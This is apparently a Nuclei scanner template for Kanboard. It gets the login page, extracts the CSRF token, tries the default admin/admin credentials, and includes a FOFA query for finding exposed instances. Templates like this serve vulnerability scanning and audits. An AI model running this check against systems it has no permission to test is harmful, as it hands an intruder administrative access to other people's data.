kanboard-default-login: Kanboard - Default Login

id: kanboard-default-login

info:
  name: Kanboard - Default Login
  author: shelled
  severity: high
  description: Kanboard contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://twitter.com/0x_rood/status/1607068644634157059
    - https://github.com/kanboard/kanboard
    - https://docs.kanboard.org/v1/admin/installation/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:kanboard:kanboard:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="Kanboard"
    product: kanboard
    vendor: kanboard
  tags: default-login,kanboard,vuln

http:
  - raw:
      - |
        GET /?controller=AuthController&action=login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /?controller=AuthController&action=check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{user}}&password={{pass}}&csrf_token={{csrf_token}}

    attack: pitchfork
    payloads:
      user:
        - admin
      pass:
        - admin

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        regex:
          - "hidden\" name=\"csrf_token\" value=\"([0-9a-z]+)\""
        internal: true
    matchers:
      - type: dsl
        dsl:
          - contains(location, 'controller=DashboardController&action=show')
          - status_code == 302
        condition: and
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